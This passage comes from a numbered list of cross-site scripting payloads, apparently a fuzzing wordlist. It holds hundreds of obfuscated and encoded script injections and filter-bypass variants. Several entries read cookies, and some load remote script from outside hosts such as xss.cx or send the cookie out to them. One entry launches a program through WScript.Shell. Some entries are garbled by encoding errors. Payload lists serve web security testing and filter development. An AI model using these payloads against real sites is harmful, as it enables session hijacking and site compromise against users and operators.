  1327. <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
  1328. <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script> ?
  1329. "/><script+src=data:,confirm(1)<!--
  1330. <script+src=data:,confirm(1)<!--
  1331. "/><script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
  1332. <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
  1333. <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
  1334. <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script ????????????
  1335. <script/src=//xss.cx>/*
  1336. <script>str='';for(i=0;i<0xefff;i++){str+='<script>AAAAAA';};document.write('<svg>'+str+'</svg>');</script>
  1337. </script><svg '//"
  1338. </script><svg onload='-/"/-confirm(1)//'
  1339. </script><svg onload='-/"/-confirm(1)//'"
  1340. <script>try{eval("<></>");logBoolean(1)}catch(e){logBoolean(0)};</script>
  1341. <script>~'\u0061' ;  \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.  \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
  1342. <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
  1343. <script/v>confirm(/@jackmasa/)</script>
  1344. <script>-{valueOf:location,toString:[].pop,0:'vbscript:confirm%281%29',length:1}</script>
  1345. <script>var location={};</script>
  1346. <script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){confirm(request.responseText.substr(150,41));}</script>
  1347. <script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); confirm(ta.value.match(/cookie = '(.*?)'/)[1])</script>
  1348. <script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script>
  1349. <script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _confirm = confirm;confirm = function() { confirm = _confirm };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });confirm(get());})();};safe123.click();</script>#
  1350. `'"><script>window['log*chr*'](*num*)</script>
  1351. '<script>window.onload=function(){document.forms[0].message.value='1';}</script>
  1352. <script>x="confirm(1)".replace(/.+/,eval)//"</script>
  1353. <script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});confirm(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script>
  1354. <script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script>
  1355. <script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){confirm(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script>
  1356. <script>x=""!=prompt(9)!="";y=42;</script>
  1357. <script>x=""%prompt(9)%"";y=42;</script>
  1358. <script>x=""&&prompt(9)&&"";y=42;</script>
  1359. <script>x=""&prompt(9)&"";y=42;</script>
  1360. <script>x=""*prompt(9)*"";y=42;</script>
  1361. <script>x=""+prompt(9)+"";y=42;</script>
  1362. <script>x=""-prompt(9)-"";y=42;</script>
  1363. <script>x=""/prompt(9)/"";y=42;</script>
  1364. <script>x=""<<prompt(9)<<"";y=42;</script>
  1365. <script>x=""<=prompt(9)<="";y=42;</script>
  1366. <script>x=""<prompt(9)<"";y=42;</script>
  1367. <script>x=""===prompt(9)==="";y=42;</script>
  1368. <script>x=""==prompt(9)=="";y=42;</script>
  1369. <script>x="">=prompt(9)>="";y=42;</script>
  1370. <script>x="">>>prompt(9)>>>"";y=42;</script>
  1371. <script>x="">>prompt(9)>>"";y=42;</script>
  1372. <script>x="">prompt(9)>"";y=42;</script>
  1373. <script>x=""?prompt(9):"";y=42;</script>
  1374. <script>x=""^prompt(9)^"";y=42;</script>
  1375. <script>x=""|prompt(9)|"";y=42;</script>
  1376. <script>x=""||prompt(9)||"";y=42;</script>
  1377. "><scri<script></script>pt>confirm(document.cookie);</scri<script></script>pt>
  1378. <scri\x00pt>confirm(1);</scri%00pt>
  1379. setTimeout(['confirm(4)']);
  1380. <span id="x" data-constructor=oops></span><script>confirm(x.dataset.constructor)</script>
  1381. stop, open, print && confirm(1)
  1382. </style &#32;><script &#32; :-(>/**/confirm(document.location)/**/</script &#32; :-(
  1383. <style>body{font-size: 0;} h1{font-size: 12px !important;}</style><h1><?php echo "<hr />THIS IMAGE COULD ERASE YOUR WWW ACCOUNT, it shows you the PHP info instead...<hr />"; phpinfo(); __halt_compiler(); ?></h1>
  1384. <style>*{font-family:'Serif}';x[value=expression(confirm(URL=1));]{color:red}</style>
  1385. <style>*{-o-link:'data:text/html,<svg/onload=confirm(5)>';-o-link-source:current}</style><a href=1>aaa
  1386. <style/onload    =    !-confirm&#x28;1&#x29;>
  1387. <style/onload=confirm(1)>
  1388. <style/onload="javascript:if('[object Object]'=={}&&1==[1])confirm(1);">
  1389. <style/onload=&lt;!--&#09;&gt;&#10;confirm&#10;&lpar;1&rpar;>
  1390. <style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
  1391. <style>p[foo=bar{}*{-o-link:'javascript:confirm(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>
  1392. <///style///><span %2F onmousemove='confirm&lpar;1&rpar;'>SPAN
  1393. <style>//<!--</style> -->*{x:expression(confirm(4))}//<style></style>
  1394. <svg contentScriptType=text/vbs><script>MsgBox+1
  1395. <svg contentScriptType=text/vbs><script>XSS
  1396. <svg id=1 onload=confirm(1)>
  1397. <svg onload=confirm(1)
  1398. "><svg onload="confirm(7)">
  1399. <svg onload="confirm(7)">
  1400. <svg onload=eval(URL)>
  1401. <svg onload=eval(document.cookie)>
  1402. <svg onload=eval(window.name)>
  1403. <svg xml:base="data:text/html,<script>confirm(1)</script>"><a xlink:href="#"><circle r="40"></circle></a></svg>
  1404. <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:confirm(1)"></g></svg>
  1405. <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:confirm(1)" begin="0s" dur="0.1s" fill="freeze"/>
  1406. <svg></ y="><x" onload=confirm(4)>
  1407. <svg><doh onload=confirm(1)>
  1408. <svg><image x:href="data:image/svg-xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='confirm(1)'%3E%3C/svg%3E">
  1409. "<svg/onload=confirm(0);prompt(0);>"
  1410. <svg/onload=confirm(0);prompt(0);>
  1411. <svg/onload=confirm(1)
  1412. "/><svg/onload=confirm(/XSS/.source);prompt(String.fromCharCode(88,83,83));prompt(0)>
  1413. "\"/><svg/onload=confirm(/XSS/.source);prompt(String.fromCharCode(88,83,83));prompt(0)>"
  1414. <svg/onload='javascript0x00:void(0)%00?void(0)&colon;confirm(1)'>
  1415. "<svg/onload=prompt(0);>"
  1416. <svg/onload=prompt(0);>
  1417. "<svg/onload=prompt(/XSS/.source);prompt(0);confirm(0);confirm(0);>"
  1418. "\"><svg/onload=prompt(/XSS/.source);prompt(0);confirm(0);confirm(0);>",
  1419. <svg/onload=prompt(/XSS/.source);prompt(0);confirm(0);confirm(0);>
  1420. ><svg/onload=prompt(/XSS/.source);prompt(0);confirm(0);confirm(0);>
  1421. <svg/onload=window.onerror=confirm;throw/5/;//
  1422. <svg/onload=window.onerror=confirm;throw/XSS/;//
  1423. <svg/onload=window.onerror=confirm;throw/XSS/;//"
  1424. <svg><script ?>confirm(1)
  1425. <svg><script ?>confirm(1);
  1426. <svg><script onlypossibleinopera:-)> confirm(1)
  1427. <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js'
  1428. <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
  1429. <svg><script><![CDATA[\]]><![CDATA[u0061]]><![CDATA[lert]]>(1)</script>
  1430. "/><svg><script>//&NewLine;confirm(1);</script </svg>
  1431. <svg><script>//&NewLine;confirm(1);</script </svg>
  1432. <svg><script>a<!>l<!>e<!>r<!>t<!>(<!>1<!>)</script>
  1433. <svg><script>confirm&#40/1/&#41</script>
  1434. <svg><script>confirm("&quot;);confirm('yes')//no")</script>
  1435. <svg><script>a<svg//onload=confirm(2) />lert(1)</script>
  1436. <svg><script>location&equals;&#60&#62javascript&amp;#x3A;confirm(1)&#60&#33&#47&#62;</script>
  1437. <svg><script>/*&midast;&sol;confirm(3)&sol;&sol;*/</script></svg>
  1438. <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
  1439. <svg><style>*{font-family:'<svg onload=confirm(1)>';}</style></svg>
  1440. <svg><style>&ltimg src=x onerror=confirm(1)&gt</svg>
  1441. </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>confirm&#x28;1&#x29;
  1442. ?t=confirm(1)&k7="><svg/t='&k8='onload='/&k9=/+eval(t)'
  1443. test=scriptx=document.createElement(%27script%27);x.innerHTML=%27confirm(location)%27;document.body.appendChild(x);/script&notbot=UzXGjMCo8AoAAFUcKTEAAAAN
  1444. <textarea autofocus onfocus=confirm(3)>
  1445. <textarea id=ta onfocus=%22write('<script>confirm(1)</script>')%22 autofocus></textarea>
  1446. <textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520confirm(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea>
  1447. "/><textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));confirm(ta.value.match(/cookie = '(.*?)'/)[1])</script>
  1448. <textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));confirm(ta.value.match(/cookie = '(.*?)'/)[1])</script>
  1449. <textarea name='file"; filename="test.<img src=a onerror=document&amp;#46;location&amp;#61;&amp;#34;http:&amp;#47;&amp;#47;evil&amp;#46;site&amp;#34;>'>
  1450. "<textarea onmousemove='confirm(1);'>"
  1451. <textarea></textarea>test<!-- </textarea><img src=xx: onerror=confirm(1)> -->
  1452. </title><frameset><frame src="data:text/html, fill the whole page and overlap everything<script>confirm(1)</script>">
  1453. </title><frameset><frame src="data:text/html,<script>confirm(1)</script>">
  1454. <ul><li><svg onload="confirm(1)"></li></ul>
  1455. <!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:confirm(document.location);">
  1456. <var onmouseover="prompt(1)">On Mouse Over</var>
  1457. <var onmouseover="prompt(1)">On Mouse Over</var>?
  1458. "<video src=. onerror=prompt(0)>"
  1459. <video src=. onerror=prompt(0)>
  1460. <video src="x" onloadstart="confirm(1)">
  1461. <video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{confirm(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23
  1462. <video><source o?UTF-8?Q?n?error="confirm(1)">
  1463. <x data-bind=".:confirm(1)">
  1464. <x data-bind=".:&#x5cu0061lert(1)">
  1465. <x onload'=confirm(1)
  1466. &#x000003C
  1467. &#x000003C;
  1468. &#x000003E
  1469. &#x000003E;
  1470. &#x000003c
  1471. &#x000003c;
  1472. &#x000003e
  1473. &#x000003e;
  1474. &#x00003C
  1475. &#x00003C;
  1476. &#x00003E
  1477. &#x00003E;
  1478. &#x00003c
  1479. &#x00003c;
  1480. &#x00003e
  1481. &#x00003e;
  1482. &#x0003C
  1483. &#x0003C;
  1484. &#x0003E
  1485. &#x0003E;
  1486. &#x0003c
  1487. &#x0003c;
  1488. &#x0003e
  1489. &#x0003e;
  1490. &#x003C
  1491. &#x003C;
  1492. &#x003E
  1493. &#x003E;
  1494. &#x003c
  1495. &#x003c;
  1496. &#x003e
  1497. &#x003e;
  1498. &#x03C
  1499. &#x03C;
  1500. &#x03E
  1501. &#x03E;
  1502. &#x03c
  1503. &#x03c;
  1504. &#x03e
  1505. &#x03e;
  1506. &#x3C
  1507. &#x3C;
  1508. \x3C
  1509. &#x3E
  1510. &#x3E;
  1511. \x3E
  1512. &#x3c
  1513. &#x3c;
  1514. \x3c
  1515. &#x3e
  1516. &#x3e;
  1517. \x3e
  1518. <xml id=cdcat><note><to>%26lt;span style=x:exp<![CDATA[r]]>ession(confirm(3))%26gt;hello%26lt;/span%26gt;</to></note></xml><table border=%221%22 datasrc=%22%23cdcat%22><tr><td><span datafld=%22to%22 DATAFORMATAS=html></span></td></tr></table>
  1519. <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>
  1520. <xmp><img alt="</xmp><img src=xx:x onerror=confirm(1)//">
  1521. xss--><!--<script>xss
  1522. xт€</title><img src%3dx onerror%3dconfirm(1)>
  1523. @"><img src=x/onerror=confirm(1)>xss
  1524. <script>x=new ActiveXObject("WScript.Shell");x.run('calc');</script>
  1525. "><<x>script>confirm(2)<<x>/<x>script>
  1526. <img src=x onerror="document.location='http:&#x2F;&#x2F;xss.cx'";>
  1527. !#$%&'*+-/=?^_`{}|[email protected]
  1528. ~~)1(trela+tpircsavaj'.split('').reverse().join('').split('~').join(String.fromCharCode(47)).split('+').join(String.fromCharCode(58))).concat('
  1529. <xml id=cdcat><note><to>%26lt;span style=x:exp<![CDATA[r]]>ession(confirm(3))%26gt;hello%26lt;/span%26gt;</to></note></xml><table border=%221%22 datasrc=%22%23cdcat%22><tr><td><span datafld=%22to%22 DATAFORMATAS=html></span></td></tr></table>
  1530. <style/>&lt;/style&gt;&lt;img src=1 onerror=confirm(1)&gt;</style>
  1531. <script>
  1532. x="<%";
  1533. </script>
  1534. <div title="%&gt;&lt;/script&gt;&quot;&lt;img src=1 onerror=confirm(1)&gt;"></div>
  1535. <? foo="><script>confirm(1)</script>">
  1536. data:text/html,/*<img src=x '-confirm(1)-' onerror=confirm(1)>*/confirm(1)
  1537. '">><marquee><img src=x onerror=confirm(1)></marquee>
  1538. <div contextmenu=x>right-click<menu id=x onshow=confirm(1)>
  1539. "><b/onclick="javascript:window.window.window['confirm'](1)">bold
  1540. <body language=vbs onload=window.location='data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+'>
  1541. <IFRAME/SRC=DATA:TEXT/HTML;BASE64,ICA8U0NSSVBUIC8NU1JDPSINSFRUUFM6DS8NDS8NSEVJREVSSS5DSC96DSINID4NPC9TQ1JJUFQNDT5>
  1542. %uff1cscript%uff1econfirm%uff0876310%uff09%uff1c/script%uff1e
  1543. <script>``.constructor.constructor`confirm\`1\````</script>
  1544. eval("\x61\x6c\x65\x72\x74\x28\x31\x29т€)
  1545. <script>var%20x%20=%20т€œaт€;%20confirm(1);//т€;</script>
  1546. <source srcset="x"><img onerror="confirm(5)"></picture>
  1547. <svg><script>confirm&DiacriticalGrave;1&DiacriticalGrave;<p><svg><script>confirm&grave;1&grave;<p>
  1548. <script>``.constructor.constructor`confirm\`1\````</script>
  1549. <i/style=x=x/**/(confirm(1))('\')expression\')>
  1550. <i/style=x=x/**/n(confirm(1))('\')expressio\')>
  1551. <div style='x:anytext/**/xxxx/**/n(confirm(1)) ("\"))))))expressio\")'>aa</div> //
  1552. <script>write(т€œ<img/src=//xss.cx/?т€+cookie.replace(/\s/g,"")+т€œ>т€)></script>
  1553. <base href="javascript:\"> <a href="//%0aconfirm(2);//">XSS</a>
  1554. <base href="javascript:\"> <a href="//%0a%0dconfirm(2);//">XSS</a>
  1555. <base href="javascript:\"> <a href="//%00confirm(2);//">XSS</a>
  1556. <base href="javascript:\"> <a href="//xss.cx/xss.js">XSS</a>
  1557. <script src="//т’•т‚Ј"></script>)
  1558. <anything onmouseover=javascript:confirm(1)>
  1559. <%00/title>
  1560. <""/title>
  1561. </title"">
  1562. </title id="">
  1563. <a href='javascript:http://@cc_on/confirm%28location%29'>click</a>
  1564. <img src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==">
  1565. <a href="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="><img src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></a>
  1566. ">    "><iframe src=http://xss.cx onload=confirm(5) <<iframe src=a>    "><iframe src=http://xss.cx onload=confirm(8) <
  1567. % E2% 88% 80% E3% B8% 80% E3% B0% 80script% E3% B8% 80confirm% 281% 29% E3% B0 % 80 80/script% E3% B8%
  1568. "><svg/onload=prompt(1)>
  1569. "onresize=prompt(1)>
  1570. <svg/onload=prompt(1)
  1571. <svg><script>prompt&#40;1)<b>
  1572. <svg><script>prompt&#40;1)</script>
  1573. <script>eval.call`${'prompt\x281)'}`</script>
  1574. <script>prompt.call`${1}`</script>
  1575. --!><svg/onload=prompt(1)
  1576. <p class="comment" title=""><svg/a="></p>
  1577. <p class="comment" title=""onload='/*"></p>
  1578. <p class="comment" title="*/prompt(1)'"></p>
  1579. "><svg/a=#"onload='/*#*/prompt(1)'
  1580. "><script x=#"async=#"src="//т’›т‚Ј
  1581. [U+2028]prompt(1)[U+2028]-->
  1582. <ХПvg><ХПcript/href=//т’•т‚Ј>
  1583. <ХПcript/async/src=//т’›т‚Ј>
  1584. <img src=""><SCRIPT/ASYNC/SRC="/у€Гт’›т‚Ј">
  1585. "><script>`#${prompt(1)}#`</script>
  1586. <iframe/*%%%%25%%%25*/src='javascript:vbscript:%0b%0a/**/;//:http://www.google.com/?=%0a/**/javascript:%0a/*oleeeeeeeeeeeeeee*/alert(2);'>
  1587. <A HREF="javascript&#09;:alert(1)">
  1588.  <%=    puts    "test"  %>
  1589. '"--></style></script><script>alert(0x0009BE)</script>
  1590. <a href="javascript:history:alert(this.history.length)">click</a>
  1591. xss=<link rel=import href=http://xss.cx/xss.js >
  1592. <% a=%&gt&lt;iframe/onload=alert(1)//>
  1593. <%/z=%&gt&lt;p/onresize=alert(1)//>
  1594. <%/z=%&gt&lt;p/&#111;nresize&#x3d;alert(1)//>
  1595. <xml/>&lt;/xml&gt;&lt;iframe/onload=alert(1)&gt;
  1596. <xmp/>&lt;/xmp&gt;&lt;iframe/onload=alert(1)&gt;
  1597. <comment/>&lt;/comment&gt;&lt;iframe/onload=alert(1)&gt;
  1598. <fORm/hello^waf/aCTIon=j&Tab;avas&Tab;cript&NewLine;:alert/**/&lpar;docu&Tab;ment.coo&Tab;kie&rpar;><InPuT/TyPe=submit
  1599. <iframe onload="(function*(){}).constructor('alert(location)')().next()">
  1600. <iframe%20onload="new%20Promise($=>alert(location))">
  1601. <iframe onload=alert.call(...[top,location])>
  1602. <iframe onload=`${alert(location)}`>
  1603. <title/>&lt;/title&gt;&lt;iframe/onload=alert(1)&gt;
  1604. <element onpointerover=alert(1)>
  1605. <div/style=content:url(data:image/svg+xml);visibility:visible onmouseover=confirm(1)>Bring-Mouse-Over-Me</div>
  1606. <element onpointerover=alert(1)>
  1607. <a b="c">d</a>
  1608. <![<CDATA[C%Ada b="c":]]]>
  1609. <![
  1610. <![C b="c">
  1611. <![CDb m="c">
  1612. <![CDAФЙФЙ@
  1613. <![CDAT<!
  1614. <!DOCTY
  1615. a=<script>alert(1);/*&b=*/</script>
  1616. <!DOCTY.
  1617. <?xml version="2.666666666666666666667666666">
  1618. <?xml standalone?>
  1619. <script>a="<!--";//</script>alert(1)--></script>
  1620. <script>a="<%"//</script>alert(1)//%></script>
  1621. <svg><script xlink:href="url(#)"></script></svg>
  1622. <base href="mailto://any/<img src="bod#y"></script>
  1623. \x3Cscript\x3Ealert(document.domain);\x3C\x2Fscript\x3E
  1624. data:text/html<svg/onload=parentNode.parentNode.parentNode[/locatio/.source+/n/.source]='javascript:confirm(4)'//>
  1625. <math><XSS href="javascript:alert(location)">xss
  1626. <math><mrow href=javascript:alert(1)>XSS</mrow></math>
  1627. <input+name=xss+value="%26lt;script>alert%26lpar;1)%26lt;/script>">
  1628. <script>+{[atob`dG9TdHJpbmc`]()alert`1`}</script>
  1629. <script>[{get[alert(1)]()false}]</script>
  1630. <script>a = {get[alert`1`](){}}</script>
  1631. <svg><a xyz:href=123><text>test</text></svg>
  1632. '() {'
  1633. document.createElement('img').src='javascript:while(1){}'
  1634. '<'s'v'g' o'n'l'o'a'd'='a'l'e'r't'('7')' '>'
  1635. (function(a){alert(1)}).call()
  1636. {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}}
  1637. p'rompt(1)
  1638. "(prompt(1))in"
  1639. parseInt("prompt",36);
  1640. eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
  1641. eval(1558153217..toString(36))(1)
  1642. eval(630038579..toString(30))(1)
  1643. eval(0x258da033.toString(30))(1)
  1644. for((i)in(self))eval(i)(1)
  1645. {"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}
  1646. //prompt.ml%2f@с„’.ws/тœŒ
  1647. //prompt.ml%2f@т’•т‚Ј
  1648. javascript:prompt(1)#{"action":1}
  1649. vbscript:prompt(1)#{"action":1}
  1650. window.location.assign("http://xss.cx")
  1651. window.name='a\x01b'
  1652. window.name='hacked';location.replace('about:blank');
  1653. window.name="javascript:confirm((window.opener||window).document.cookie);";
  1654. window.open("http://xss.cx","confirm(document.domain);", "", false);
  1655. vbscr&Tab;ipt:confirm(1)"
  1656. vbscript&#00058;confirm(1);
  1657. vbscript:confirm(1);
  1658. {{{}.toString.constructor('confirm(1)')()}}
  1659. try{confirm(document.domain)}catch(e){location.reload()}
  1660. \u003C
  1661. \u003E
  1662. \u003c
  1663. \u003cscript\u003econfirm(\u0027XSS\u0027)\u003c/script\u003e
  1664. \u003e
  1665. \u0061lert(1)
  1666. \u0061\u006c\u0065\u0072\u0074
  1667. \u0061\u006c\u0065\u0072\u0074(1)
  1668. %ufflcxss%2f%uffle
  1669. this["ownerDocu"+"ment"]["loca"+"tion"]=т€//google.comт€
  1670. throw delete~typeof~confirm(1)/
  1671. data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
  1672. data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
  1673. data:text/html,<script>confirm(0);confirm(1);location.reload();</script>
  1674. .__defineGetter__.constructor('[].constructor.
  1675. defineSetter('x',confirm); x=1;
  1676. delete [a=confirm],delete a(1)
  1677. delete confirm(1)
  1678. delete~[a=confirm]/delete a(1)
  1679. var a=0; ((a == 1) ? 2 : confirm(1));//
  1680. null%22%20style%3d%22background%3aexpression%28confirm%282727%29
  1681. ";document.body.addEventListener("DOMActivate",confirm(1))//
  1682. delete~[a=confirm]/delete a(1)
  1683. (0)['constructor']['constructor']("\141\154\145\162\164(1)")();
  1684.  javascript:confirm&lparю€1&rparю€
  1685. " onfocus="write(unescape('&#60;')+'script src='+unescape('&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;')
  1686. ' onmouseover=confirm(document.location)
  1687. (0)['constructor']['constructor']("\141\154\145\162\164(1)")();
  1688. {1+1,confirm(8)}
  1689. &#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver
  1690. ({})[$='\143\157\156\163\164\162\165\143\164\157\162'][$]('\141\154\145\162\164\50/ 12345 /\51')()
  1691. 1/confirm(1)
  1692. "1\"&confirm(1)\"3"
  1693. >%22%27><img%20src%3d%22javascript:confirm(%27%20XSS%27)%22>'%uff1cscript%uff1econfirm('XSS')%uff1c/script%uff1e'">>"'';!--"<XSS>=&{()}
  1694. \%22}%29%29%29}catch%28e%29{confirm%28document.domain%29;}//
  1695. '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Exss(0x000045)%3C/script%3E
  1696. \%22;confirm(1);//
  1697. \%22))}catch(e){}if(!self.a)self.a=!confirm(document.cookie)//
  1698. Event.prototype[0]='@garethheyes',Event.prototype.length=1;Event.prototype.toString=[].join;onload=confirm
  1699. ExternalInterface.call("document.write","<script>confirm(1)</script>");
  1700. ExternalInterface.call("eval","myWindow=window.open('','','width=200,height=100'); myWindow.document.write(\"<html><head><script src=\'http://xss.cx/xss.js\'></script></head><body>hi</body></html>\");myWindow.focus()");
  1701. JaVaScRipT:confirm(1)
  1702. String.fromCharCode(0xffff+0x3d)
  1703. (String.fromCharCode(97,108,101,114,116,40,39,104,105,39,41))
  1704. [U+2028]confirm(1)
  1705. '-/"/-confirm(1)//'
  1706. +confirm(1)
  1707. +confirm(1)--
  1708. -confirm(1)-
  1709. \";confirm(1);//
  1710. т€œ;confirm(1)//
  1711. confirm(1)".replace(/.+/,eval)//
  1712. confirm(1)>>>/xss
  1713. '+confirm(9)&&null=='
  1714. ';confirm(String.fromCharCode(88,83,83))//';confirm(String.fromCharCode(88,83,83))//";
  1715. confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//--
  1716. ';confirm(String.fromCharCode(88,83,83))//';confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//--</SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
  1717. ';confirm(String.fromCharCode(88,83,83))//\';confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//\";confirm(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>=&{}
  1718. \";confirm(document.location);//
  1719. confirm(document.location)
  1720. confirm(document.selection.createRange().getBookmark())
  1721. confirm(location.hostname)
  1722. confirm(window.toStaticHTML('<base href="http://xss.cx/"></base>'));  
  1723. confirm(window.toStaticHTML('<label style="overflow:hidden;background:red;display:block;width:4000px;height:4000px;position:absolute;top:0px;left:0px;" for="submit">Click'));  
  1724. confirm(window.toStaticHTML('<marquee>foo</marquee>'));  
  1725. confirm(<xss>xs{[function::status]}s</xss>)
  1726. %c0т€Г//(0000%0dconfirm(1)//
  1727. ;\"))}catch(e) {confirm(document.location);}//
  1728. ;\\"))}catch(e) {confirm(document.location);}//
  1729. \"));}catch(e){confirm(document.domain);}//
  1730. \"));}catch(e){confirm(document.domain)}//
  1731. \"));}catch(e){x=window.open('http://xss.cx/');setTimeout('confirm(x.document.body.innerText)',4000)}//
  1732. ";document.body.addEventListener("DOMActivate",confirm(1))//
  1733. document.body.innerHTML=('<\000\0i\000mg src=xx:x onerror=confirm(1)>')
